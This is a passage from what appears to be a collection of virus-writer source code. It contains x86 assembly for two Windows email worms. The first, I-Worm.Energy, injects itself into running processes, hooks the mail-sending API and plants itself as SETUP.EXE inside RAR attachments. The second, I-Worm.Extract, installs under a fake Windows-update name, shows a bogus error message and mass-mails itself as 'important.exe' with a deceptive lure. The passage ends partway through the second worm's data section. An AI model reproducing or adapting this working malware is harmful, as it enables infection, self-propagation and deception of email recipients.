extrn OpenMutexA:PROC
|
||||
extrn ExitThread:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
|
||||
|
||||
;extrn OpenServiceA:PROC
|
||||
;extrn DeleteService:PROC ;***debug only!
|
||||
extrn OpenSCManagerA:PROC
|
||||
extrn CreateServiceA:PROC
|
||||
extrn CloseServiceHandle:PROC
|
||||
extrn StartServiceCtrlDispatcherA:PROC
|
||||
extrn RegisterServiceCtrlHandlerA:PROC
|
||||
extrn SetServiceStatus:PROC
|
||||
|
||||
|
||||
include useful.inc ;include filez
|
||||
include win32api.inc
|
||||
|
||||
|
||||
PROC_COUNT equ 40*4 ;number of processes
|
||||
|
||||
|
||||
.data
|
||||
db ? ;some data
|
||||
|
||||
.code
|
||||
Start: ;worm code starts here
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
|
||||
e_name: @pushsz 'EnErGy'
|
||||
push 0
|
||||
push 1
|
||||
call OpenMutexA ;check if mutex is
|
||||
test eax,eax ;created, if not,
|
||||
je end_seh ;we are prob. debugged
|
||||
push eax
|
||||
call CloseHandle ;close its handle
|
||||
|
||||
jmp SVCRegister ;logging as a service
|
||||
|
||||
e_svc: push 256
|
||||
mov esi, offset worm_name
|
||||
push esi
|
||||
push 0
|
||||
call GetModuleFileNameA ;get path+filename of
|
||||
;the worm
|
||||
mov edi,offset sys_dir
|
||||
push edi
|
||||
push 256
|
||||
push edi
|
||||
call GetSystemDirectoryA ;get windowz system dir.
|
||||
add edi,eax
|
||||
mov al,'\'
|
||||
stosb
|
||||
mov eax,'rene'
|
||||
stosd
|
||||
mov eax,'e.yg'
|
||||
stosd
|
||||
mov eax,'ex'
|
||||
stosd ;construct path+filename
|
||||
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
call CopyFileA ;copy worm to sys. dir.
|
||||
|
||||
call SVCCreate ;register as a service
|
||||
|
||||
push api_num
|
||||
pop ecx
|
||||
call @api_table
|
||||
dd offset GetModuleHandleA ;adressez of APIz
|
||||
dd offset GetProcAddress
|
||||
dd offset VirtualProtect
|
||||
dd offset CreateFileA
|
||||
dd offset CloseHandle
|
||||
dd offset WriteFile
|
||||
dd offset GetFileSize
|
||||
dd offset ReadFile
|
||||
dd offset VirtualFree
|
||||
dd offset VirtualAlloc
|
||||
dd offset SetFilePointer
|
||||
dd offset SetFileAttributesA
|
||||
api_num = 12
|
||||
@api_table:
|
||||
pop ebx
|
||||
|
||||
call @api_dest ;addressez of variablez
|
||||
dd offset _gmha ;that will hold APIz
|
||||
dd offset _gpa
|
||||
dd offset _vp
|
||||
dd offset _cfa
|
||||
dd offset _ch
|
||||
dd offset _wf
|
||||
dd offset _gfs
|
||||
dd offset _rf
|
||||
dd offset _vf
|
||||
dd offset _va
|
||||
dd offset _sfp
|
||||
dd offset _sfaa
|
||||
@api_dest:
|
||||
pop esi
|
||||
|
||||
get_apiz:
|
||||
dec ecx ;decrement counter
|
||||
mov eax,[ebx+ecx*4]
|
||||
mov eax,[eax+2]
|
||||
mov eax,[eax]
|
||||
mov edx,[esi+ecx*4]
|
||||
mov [edx],eax ;store API address
|
||||
test ecx,ecx
|
||||
jne get_apiz
|
||||
|
||||
worm_loop:
|
||||
mov ebx,offset tmp
|
||||
push ebx
|
||||
push PROC_COUNT
|
||||
mov esi,offset proc_dump
|
||||
push esi
|
||||
call EnumProcesses ;enum all processez
|
||||
dec eax
|
||||
jne end_seh
|
||||
|
||||
mov ecx,[ebx] ;try this PID
|
||||
p_check:lodsd
|
||||
call proc_infect ;try to infect it
|
||||
add ecx,-3
|
||||
loop p_check ;try next PID
|
||||
|
||||
worm_wait:
|
||||
push 60000
|
||||
call Sleep ;wait one minute
|
||||
jmp worm_loop ;and try again.
|
||||
|
||||
|
||||
;infect processez
|
||||
proc_infect Proc
|
||||
pushad
|
||||
push eax
|
||||
push 0
|
||||
push 2 or 8 or 10h or 20h or 400h
|
||||
call OpenProcess ;get handle to process
|
||||
xchg eax,ecx
|
||||
jecxz end_proc_infect
|
||||
mov ebx,ecx
|
||||
|
||||
push PAGE_READWRITE
|
||||
push MEM_RESERVE or MEM_COMMIT
|
||||
push virtual_end-Start
|
||||
push 0
|
||||
push ebx
|
||||
call VirtualAllocEx ;allocate there memory
|
||||
xchg eax,ecx ;for worm
|
||||
jecxz end_proc_infect2
|
||||
mov esi,ecx
|
||||
|
||||
push 0
|
||||
push virtual_end-Start
|
||||
push offset Start
|
||||
push esi
|
||||
push ebx
|
||||
call WriteProcessMemory ;copy there worm body
|
||||
dec eax
|
||||
jne end_proc_infect3
|
||||
|
||||
lea edx,[esi+offset ThreadEntry-offset Start]
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
call CreateRemoteThread ;create thread there
|
||||
xchg eax,ecx
|
||||
jecxz end_proc_infect3
|
||||
push ecx
|
||||
|
||||
push -1
|
||||
push ecx
|
||||
call WaitForSingleObject ;wait for its termination
|
||||
call CloseHandle ;and close its handle
|
||||
jmp end_proc_infect2 ;and quit
|
||||
|
||||
end_proc_infect3:
|
||||
push MEM_RELEASE
|
||||
push 0
|
||||
push esi
|
||||
push ebx
|
||||
call VirtualFreeEx ;release memory if failed
|
||||
|
||||
end_proc_infect2:
|
||||
push ebx
|
||||
call CloseHandle ;close handle to process
|
||||
end_proc_infect:
|
||||
popad
|
||||
ret ;and quit
|
||||
proc_infect EndP
|
||||
|
||||
|
||||
;remote thread procedure
|
||||
ThreadEntry Proc
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
call gdelta
|
||||
gdelta: pop ebp ;get delta offset
|
||||
|
||||
@pushsz 'MAPI32.dll'
|
||||
mov eax,12345678h
|
||||
_gmha = dword ptr $-4
|
||||
call eax ;get address of MAPI32.dll
|
||||
xchg eax,ecx
|
||||
jecxz end_seh ;quit if not loaded
|
||||
|
||||
@pushsz 'MAPISendMail'
|
||||
push ecx
|
||||
mov eax,12345678h
|
||||
_gpa = dword ptr $-4
|
||||
call eax ;get address of
|
||||
xchg eax,ecx ;MAPISendMail API
|
||||
jecxz end_seh
|
||||
mov esi,ecx ;to ESI
|
||||
|
||||
lea eax,[ebp + tmp - gdelta]
|
||||
push eax
|
||||
push PAGE_READWRITE
|
||||
push 5
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_vp = dword ptr $-4
|
||||
call eax ;release page protection
|
||||
xchg eax,ecx
|
||||
jecxz end_seh
|
||||
|
||||
call hook_api ;hook the API
|
||||
|
||||
end_seh:@SEH_RemoveFrame ;remove SEH frame
|
||||
popad ;and quit
|
||||
ret
|
||||
|
||||
;proc for API hooking
|
||||
hook_api:
|
||||
mov [ebp + old_MAPI_addr - gdelta],esi
|
||||
push esi
|
||||
lea edi,[ebp + old_MAPI_api - gdelta]
|
||||
movsd
|
||||
movsb ;save first bytez of API
|
||||
pop edi
|
||||
mov ebx,edi
|
||||
|
||||
lea eax,[ebp + MAPI_hooker - gdelta]
|
||||
sub ebx,eax
|
||||
neg ebx
|
||||
add ebx,-5
|
||||
mov al,0E9h
|
||||
stosb
|
||||
xchg eax,ebx
|
||||
stosd ;overwrite by JMP <worm_api>
|
||||
ret
|
||||
|
||||
;the API hooker
|
||||
MAPI_hooker:
|
||||
push 12345678h
|
||||
old_MAPI_addr = dword ptr $-4 ;save the address of API
|
||||
|
||||
pushad
|
||||
mov edi,[esp.cPushad] ;get ptr to message
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
push edi
|
||||
|
||||
mov ebx,[esp.cPushad.28]
|
||||
mov ecx,[ebx+40] ;number of attachmentz
|
||||
mov ebx,[ebx+44] ;ptr to file fieldz
|
||||
|
||||
f_parse:mov esi,[ebx+12]
|
||||
lea edi,[ebp + arc_buffer - gdelta]
|
||||
push edi
|
||||
@copysz
|
||||
dec edi
|
||||
cmp byte ptr [edi-1],'\'
|
||||
je over_slash
|
||||
mov al,'\'
|
||||
stosb
|
||||
over_slash:
|
||||
mov esi,[ebx+16]
|
||||
@copysz
|
||||
or [esi-5],20202020h ;lower case
|
||||
cmp [esi-5],'rar.'
|
||||
pop esi ;create path+filename
|
||||
jne o_r ;quit if not RAR file
|
||||
call infect_archive ;try to infect this file
|
||||
o_r: sub ebx,-24
|
||||
loop f_parse ;try another file in msg
|
||||
|
||||
pop edi
|
||||
call @m_res
|
||||
old_MAPI_api db 5 dup (90h)
|
||||
@m_res: pop esi
|
||||
movsd
|
||||
movsb ;remove the API hooker
|
||||
jmp end_seh ;and quit
|
||||
|
||||
|
||||
;procedure for RAR archive infecting
|
||||
infect_archive:
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
call gd
|
||||
gd: pop ebp ;get delta offset
|
||||
|
||||
lea eax,[ebp + worm_name - gd] ;get worm filename
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push GENERIC_READ
|
||||
push eax
|
||||
call [ebp + _cfa - gd] ;open worm file
|
||||
inc eax
|
||||
je end_seh
|
||||
dec eax
|
||||
mov [ebp + hFile - gd],eax ;save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
mov eax,12345678h
|
||||
_gfs = dword ptr $-4
|
||||
call eax ;get its size
|
||||
push eax
|
||||
|
||||
push PAGE_READWRITE
|
||||
push MEM_RESERVE or MEM_COMMIT
|
||||
push eax
|
||||
push 0
|
||||
mov eax,12345678h
|
||||
_va = dword ptr $-4
|
||||
call eax ;allocate enough memory
|
||||
test eax,eax
|
||||
pop edx
|
||||
je end_file
|
||||
xchg eax,ebx
|
||||
|
||||
push edx
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push edx
|
||||
push ebx
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
mov eax,12345678h
|
||||
_rf = dword ptr $-4 ;and copy there worm
|
||||
call eax
|
||||
call close_file ;close handle to file
|
||||
pop edi
|
||||
|
||||
pushad
|
||||
mov esi,ebx
|
||||
call CRC32 ;calculate CRC32 of
|
||||
mov [ebp + RARCRC32 - gd],eax ;the worm file
|
||||
popad
|
||||
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_cfa = dword ptr $-4
|
||||
call eax ;open the archive
|
||||
inc eax
|
||||
je end_file2
|
||||
dec eax
|
||||
mov [ebp + hFile - gd],eax ;save its handle
|
||||
|
||||
push 2
|
||||
push 0
|
||||
push 0
|
||||
push eax
|
||||
mov eax,12345678h
|
||||
_sfp = dword ptr $-4
|
||||
call eax ;go to EOF
|
||||
|
||||
pushad
|
||||
lea esi,[ebp + RARHeaderCRC+2 - gd]
|
||||
push end_RAR-RARHeader-2
|
||||
pop edi
|
||||
call CRC32 ;calculate CRC32 of
|
||||
mov [ebp + RARHeaderCRC - gd],ax ;the RAR file header
|
||||
popad ;and save it
|
||||
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push end_RAR-RARHeader
|
||||
call end_RAR
|
||||
RARHeader: ;No comment ;)
|
||||
RARHeaderCRC dw 0
|
||||
RARType db 74h
|
||||
RARFlags dw 8000h
|
||||
RARHSize dw end_RAR-RARHeader
|
||||
RARCompressed dd 2000h
|
||||
RAROriginal dd 2000h
|
||||
RAROS db 0
|
||||
RARCRC32 dd 0
|
||||
RARFileDateTime dd 12345678h
|
||||
RARNeedVer db 14h
|
||||
RARMethod db 30h
|
||||
RARFNameSize dw end_RAR-RARName
|
||||
RARAttrib dd 0
|
||||
RARName db 'SETUP.EXE'
|
||||
end_RAR:
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
mov eax,12345678h
|
||||
_wf = dword ptr $-4
|
||||
call eax ;write RAR file header
|
||||
|
||||
push 0
|
||||
lea eax,[ebp + tmp - gd]
|
||||
push eax
|
||||
push edi
|
||||
push ebx
|
||||
push dword ptr [ebp + hFile - gd]
|
||||
call [ebp + _wf - gd] ;write the worm
|
||||
|
||||
end_file2:
|
||||
push MEM_RELEASE
|
||||
push 0
|
||||
push ebx
|
||||
mov eax,12345678h
|
||||
_vf = dword ptr $-4
|
||||
call eax ;release the memory
|
||||
end_file:
|
||||
call close_file ;close the archive
|
||||
|
||||
push FILE_ATTRIBUTE_READONLY
|
||||
push esi
|
||||
mov eax,12345678h
|
||||
_sfaa = dword ptr $-4
|
||||
call eax ;set READ-ONLY attribute
|
||||
jmp end_seh ;and quit
|
||||
|
||||
close_file:
|
||||
push 12345678h ;handle...
|
||||
hFile = dword ptr $-4
|
||||
mov eax,12345678h
|
||||
_ch = dword ptr $-4
|
||||
call eax ;close file handle
|
||||
ret
|
||||
|
||||
CRC32 Proc
|
||||
push ecx ;procedure for
|
||||
push edx ;calculating CRC32s
|
||||
push ebx ;at run-time
|
||||
xor ecx,ecx
|
||||
dec ecx
|
||||
mov edx,ecx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi
|
||||
jne NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
pop ebx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
pop edx
|
||||
pop ecx
|
||||
SVCHandler:
|
||||
ret
|
||||
CRC32 EndP
|
||||
ThreadEntry EndP
|
||||
|
||||
|
||||
;log on to SCM
|
||||
SVCRegister Proc
|
||||
call _dt
|
||||
dd offset e_name+5
|
||||
dd offset service_start
|
||||
dd 0
|
||||
dd 0
|
||||
_dt: call StartServiceCtrlDispatcherA ;start service dispatcher
|
||||
dec eax
|
||||
jne e_svc ;quit if error (no service
|
||||
;requestz)
|
||||
push 0
|
||||
call ExitThread ;terminate this thread
|
||||
|
||||
service_start: ;execution goes here...
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
|
||||
|
||||
push offset SVCHandler
|
||||
push offset e_name+5
|
||||
call RegisterServiceCtrlHandlerA ;register service control
|
||||
test eax,eax ;handler
|
||||
je e_svc ;quit if error
|
||||
push eax
|
||||
|
||||
call _ss
|
||||
ss_: dd 10h or 20h
|
||||
dd 4
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
_ss: push eax
|
||||
call SetServiceStatus ;set service status
|
||||
call CloseServiceHandle ;close service handle
|
||||
jmp e_svc ;and quit
|
||||
SVCRegister EndP
|
||||
|
||||
|
||||
;create item at SCM
|
||||
SVCCreate Proc
|
||||
push 000F0000h or 2
|
||||
push 0
|
||||
push 0
|
||||
call OpenSCManagerA ;get handle to SCM
|
||||
test eax,eax
|
||||
je e_scm0
|
||||
xchg eax,esi
|
||||
|
||||
; push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
||||
; push offset e_name+5
|
||||
; push esi
|
||||
; call OpenServiceA ;*** debug!
|
||||
;
|
||||
; push eax
|
||||
; push eax
|
||||
; call DeleteService ;*** debug!
|
||||
; call CloseServiceHandle ;*** debug!
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push offset sys_dir
|
||||
push eax
|
||||
push 2
|
||||
push 10h
|
||||
push 000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
|
||||
push offset e_name+5
|
||||
push dword ptr [esp]
|
||||
push esi
|
||||
call CreateServiceA ;create service item
|
||||
test eax,eax ;at SCM
|
||||
je e_scm1 ;quit if error
|
||||
|
||||
push eax
|
||||
call CloseServiceHandle ;close service handlez
|
||||
e_scm1: push esi
|
||||
call CloseServiceHandle ;...
|
||||
e_scm0: ret ;and quit
|
||||
SVCCreate EndP
|
||||
|
||||
|
||||
signature db 0,'[I-Worm.Energy] by Benny/29A',0
|
||||
;signature
|
||||
proc_dump db PROC_COUNT dup (?) ;buffer for PIDz
|
||||
worm_name db 256 dup (?) ;buffer for filename
|
||||
tmp dd ? ;temporary variable
|
||||
sys_dir db 256 dup (?) ;buffer for system dir.
|
||||
arc_buffer db 256 dup (?) ;buffer for archive
|
||||
;filename
|
||||
virtual_end: ;...end of virus.
|
||||
ends
|
||||
end Start ;.
|
||||
|
||||
|
||||
;bonus:
|
||||
;here are lyrics from "Imagine", one very nice song from John Lennon.
|
||||
|
||||
; Imagine there's no heaven,
|
||||
; It's easy if you try,
|
||||
; No hell below us,
|
||||
; Above us only sky,
|
||||
; Imagine all the people
|
||||
; living for today...
|
||||
;
|
||||
; Imagine there's no countries,
|
||||
; It isn't hard to do,
|
||||
; Nothing to kill or die for,
|
||||
; No religion too,
|
||||
; Imagine all the people
|
||||
; living life in peace...
|
||||
;
|
||||
; You may say I'm a dreamer,
|
||||
; but I'm not the only one,
|
||||
; I hope some day you'll join us,
|
||||
; And the world will live as one.
|
||||
;
|
||||
; Imagine no possesions,
|
||||
; I wonder if you can,
|
||||
; No need for greed or hunger,
|
||||
; A brotherhood of man,
|
||||
; Imagine all the people
|
||||
; Sharing all the world...
|
||||
;
|
||||
; You may say I'm a dreamer,
|
||||
; but I'm not the only one,
|
||||
; I hope some day you'll join us,
|
||||
; And the world will live as one.
|
480
Win32/I-Worm.Extract.asm
Normal file
480
Win32/I-Worm.Extract.asm
Normal file
@ -0,0 +1,480 @@
|
||||
comment #
|
||||
Name : I-Worm.Extract
|
||||
Author : PetiK
|
||||
Date : February 3rd 2002 - February 4th 2002
|
||||
Size : 5632
|
||||
|
||||
Action :
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
api macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include Useful.inc
|
||||
include myinclude.inc
|
||||
|
||||
start_worm:
|
||||
@pushsz "KERNEL32.DLL"
|
||||
api GetModuleHandleA
|
||||
xchg eax,ebx
|
||||
|
||||
kern macro x
|
||||
push offset sz&x
|
||||
push ebx
|
||||
api GetProcAddress
|
||||
mov _ptk&x,eax
|
||||
endm
|
||||
|
||||
kern CloseHandle
|
||||
kern CopyFileA
|
||||
kern CreateDirectoryA
|
||||
kern CreateFileA
|
||||
kern CreateFileMappingA
|
||||
kern DeleteFileA
|
||||
kern GetDateFormatA
|
||||
kern GetFileSize
|
||||
kern GetModuleFileNameA
|
||||
kern GetSystemDirectoryA
|
||||
kern GetSystemTime
|
||||
kern GetTimeFormatA
|
||||
kern GetWindowsDirectoryA
|
||||
kern lstrcat
|
||||
kern lstrcmp
|
||||
kern lstrcpy
|
||||
kern lstrlen
|
||||
kern MapViewOfFile
|
||||
kern SetCurrentDirectoryA
|
||||
kern Sleep
|
||||
kern UnmapViewOfFile
|
||||
kern WinExec
|
||||
kern WriteFile
|
||||
kern WriteProfileStringA
|
||||
kern WritePrivateProfileStringA
|
||||
|
||||
|
||||
push 50
|
||||
mov esi,offset orig_worm
|
||||
push esi
|
||||
push 0
|
||||
call _ptkGetModuleFileNameA
|
||||
|
||||
push 50
|
||||
push offset verif_worm
|
||||
call _ptkGetSystemDirectoryA
|
||||
@pushsz "\UPDATEW32.EXE"
|
||||
push offset verif_worm
|
||||
call _ptklstrcat
|
||||
|
||||
push esi
|
||||
push offset verif_worm
|
||||
call _ptklstrcmp
|
||||
test eax,eax
|
||||
jz continue_worm
|
||||
|
||||
mov edi,offset copy_worm
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
call _ptkGetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"dpU\"
|
||||
stosd
|
||||
mov eax,"Weta"
|
||||
stosd
|
||||
mov eax,"e.23"
|
||||
stosd
|
||||
mov eax,"ex"
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
copy_w: push 0
|
||||
push edi
|
||||
push esi
|
||||
call _ptkCopyFileA
|
||||
|
||||
run_w: push edi
|
||||
@pushsz "RUN"
|
||||
@pushsz "WINDOWS"
|
||||
call _ptkWriteProfileStringA
|
||||
|
||||
call CreateDate
|
||||
push 50
|
||||
push offset realname
|
||||
push offset orig_worm
|
||||
api GetFileTitleA
|
||||
|
||||
@pushsz " - "
|
||||
push offset date
|
||||
call _ptklstrcat
|
||||
push offset realname
|
||||
push offset date
|
||||
call _ptklstrcat
|
||||
|
||||
f_mess: push 10h
|
||||
push offset date
|
||||
call @mess
|
||||
db "Cannot Open this File !",CRLF,CRLF
|
||||
db "If you downloaded this file, try downloading again.",0
|
||||
@mess:
|
||||
push 0
|
||||
api MessageBoxA
|
||||
jmp end_worm
|
||||
|
||||
continue_worm:
|
||||
push 50
|
||||
push offset vbsfile
|
||||
call _ptkGetWindowsDirectoryA
|
||||
@pushsz "\ExtractVbs.vbs"
|
||||
push offset vbsfile
|
||||
call _ptklstrcat
|
||||
|
||||
push 0
|
||||
push 20h
|
||||
push 2
|
||||
push 0
|
||||
push 1
|
||||
push 40000000h
|
||||
push offset vbsfile
|
||||
call _ptkCreateFileA
|
||||
xchg eax,ebx
|
||||
push 0
|
||||
push offset octets
|
||||
push e_vbs - s_vbs
|
||||
push offset s_vbs
|
||||
push ebx
|
||||
call _ptkWriteFile
|
||||
push ebx
|
||||
call _ptkCloseHandle
|
||||
|
||||
push offset vbsfile
|
||||
push offset vbsexec
|
||||
call _ptklstrcpy
|
||||
push 4
|
||||
push offset execcontrol
|
||||
call _ptkWinExec
|
||||
push 5000
|
||||
call _ptkSleep
|
||||
push offset vbsfile
|
||||
call _ptkDeleteFileA
|
||||
|
||||
payload:
|
||||
push offset Systime
|
||||
call _ptkGetSystemTime
|
||||
cmp [Systime.wDay],29
|
||||
jne end_pay
|
||||
push 40h
|
||||
@pushsz "I-Worm.Extract"
|
||||
call e_mess
|
||||
db "Hi man, you received my worm !",CRLF
|
||||
db "Don't panic, it doesn't format your computer",CRLF,CRLF
|
||||
db 9,"Bye and Have a Nice Day.",0
|
||||
e_mess:
|
||||
push 0
|
||||
api MessageBoxA
|
||||
end_pay:
|
||||
|
||||
sh_gsf: push 0
|
||||
push 5
|
||||
push offset progra
|
||||
push 0
|
||||
api SHGetSpecialFolderPathA
|
||||
push offset progra
|
||||
call _ptkSetCurrentDirectoryA
|
||||
@pushsz "Update Windows 32bits"
|
||||
call _ptkCreateDirectoryA
|
||||
@pushsz "\Update Windows 32bits"
|
||||
push offset progra
|
||||
call _ptklstrcat
|
||||
push offset progra
|
||||
call _ptkSetCurrentDirectoryA
|
||||
push 0
|
||||
@pushsz "MAJ.exe"
|
||||
push offset orig_worm
|
||||
call _ptkCopyFileA
|
||||
|
||||
verif_inet:
|
||||
push 0
|
||||
push offset inet
|
||||
api InternetGetConnectedState
|
||||
dec eax
|
||||
jnz verif_inet
|
||||
|
||||
push 50
|
||||
push offset winpath
|
||||
call _ptkGetWindowsDirectoryA
|
||||
push offset winpath
|
||||
call _ptkSetCurrentDirectoryA
|
||||
|
||||
spread: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
@pushsz "Outlook_Addr.txt"
|
||||
call _ptkCreateFileA
|
||||
inc eax
|
||||
je end_spread
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 2
|
||||
push eax
|
||||
push ebx
|
||||
call _ptkCreateFileMappingA
|
||||
test eax,eax
|
||||
je end_s1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 4
|
||||
push ebp
|
||||
call _ptkMapViewOfFile
|
||||
test eax,eax
|
||||
je end_s2
|
||||
xchg eax,esi
|
||||
|
||||
push 0
|
||||
push ebx
|
||||
call _ptkGetFileSize
|
||||
cmp eax,4
|
||||
jbe end_s3
|
||||
|
||||
scan_mail:
|
||||
xor edx,edx
|
||||
mov edi,offset mail_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,";"
|
||||
je end_m
|
||||
cmp al,"#"
|
||||
je f_mail
|
||||
cmp al,'@'
|
||||
jne not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
end_m: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je scan_mail
|
||||
call send_mail
|
||||
jmp scan_mail
|
||||
f_mail:
|
||||
|
||||
end_s3: push esi
|
||||
call _ptkUnmapViewOfFile
|
||||
end_s2: push ebp
|
||||
call _ptkCloseHandle
|
||||
end_s1: push ebx
|
||||
call _ptkCloseHandle
|
||||
end_spread: popad
|
||||
|
||||
end_worm:
|
||||
push 0
|
||||
api ExitProcess
|
||||
|
||||
send_mail:
|
||||
call CreateDate
|
||||
call CreateTime
|
||||
@pushsz "C:\liste.ini"
|
||||
push offset mail_addr
|
||||
push offset time
|
||||
push offset date
|
||||
call _ptkWritePrivateProfileStringA
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [sess]
|
||||
api MAPISendMail
|
||||
ret
|
||||
|
||||
CreateDate Proc
|
||||
pushad
|
||||
mov edi,offset date
|
||||
push 32
|
||||
push edi
|
||||
@pushsz "dddd, dd MMMM yyyy"
|
||||
push 0
|
||||
push 0
|
||||
push 9
|
||||
call _ptkGetDateFormatA
|
||||
popad
|
||||
ret
|
||||
CreateDate EndP
|
||||
CreateTime Proc
|
||||
pushad
|
||||
mov edi,offset time
|
||||
push 32
|
||||
push edi
|
||||
@pushsz "HH:mm:ss"
|
||||
push 0
|
||||
push 0
|
||||
push 9
|
||||
call _ptkGetTimeFormatA
|
||||
popad
|
||||
ret
|
||||
CreateTime EndP
|
||||
|
||||
|
||||
.data
|
||||
copy_worm db 50 dup (0)
|
||||
orig_worm db 50 dup (0)
|
||||
verif_worm db 50 dup (0)
|
||||
vbsfile db 50 dup (0)
|
||||
winpath db 50 dup (0)
|
||||
progra db 50 dup (0)
|
||||
mail_addr db 128 dup (?)
|
||||
realname db 50 dup (0)
|
||||
date db 30 dup (?)
|
||||
time db 9 dup (?)
|
||||
octets dd ?
|
||||
inet dd 0
|
||||
sess dd 0
|
||||
|
||||
subject db "Re: Check This...",0
|
||||
body db "Hi",CRLF
|
||||
db "This is the file you ask for. Open quickly ! It's very important",CRLF,CRLF
|
||||
db 9,"Best Regards",CRLF,CRLF,CRLF
|
||||
db "Salut,",CRLF
|
||||
db "Voici le fichier que tu cherches. Ouvre vite ! C'est trčs important",CRLF,CRLF
|
||||
db 9,"Mes sincčres salutations",0
|
||||
filename db "important.exe",0
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset mail_addr
|
||||
dd offset mail_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset orig_worm
|
||||
dd offset filename
|
||||
dd ?
|
||||
|
||||
szCloseHandle db "CloseHandle",0
|
||||
szCopyFileA db "CopyFileA",0
|
||||
szCreateDirectoryA db "CreateDirectoryA",0
|
||||
szCreateFileA db "CreateFileA",0
|
||||
szCreateFileMappingA db "CreateFileMappingA",0
|
||||
szDeleteFileA db "DeleteFileA",0
|
||||
szGetDateFormatA db "GetDateFormatA",0
|
||||
szGetFileSize db "GetFileSize",0
|
||||
szGetModuleFileNameA db "GetModuleFileNameA",0
|
||||
szGetSystemDirectoryA db "GetSystemDirectoryA",0
|
||||
szGetSystemTime db "GetSystemTime",0
|
||||
szGetTimeFormatA db "GetTimeFormatA",0
|
||||
szGetWindowsDirectoryA db "GetWindowsDirectoryA",0
|
||||
szlstrcat db "lstrcat",0
|
||||
szlstrcmp db "lstrcmp",0
|
||||
szlstrcpy db "lstrcpy",0
|
||||
szlstrlen db "lstrlen",0
|
||||
szMapViewOfFile db "MapViewOfFile",0
|
||||
szSetCurrentDirectoryA db "SetCurrentDirectoryA",0
|
||||
szSleep db "Sleep",0
|
||||
szUnmapViewOfFile db "UnmapViewOfFile",0
|
||||
szWinExec db "WinExec",0
|
||||
szWriteFile db "WriteFile",0
|
||||
szWritePrivateProfileStringA db "WritePrivateProfileStringA",0
|
||||
szWriteProfileStringA db "WriteProfileStringA",0
|
||||
|
||||
_ptkCloseHandle dd ?
|
||||
_ptkCopyFileA dd ?
|
||||
_ptkCreateDirectoryA dd ?
|
||||
_ptkCreateFileA dd ?
|
||||
_ptkCreateFileMappingA dd ?
|
||||
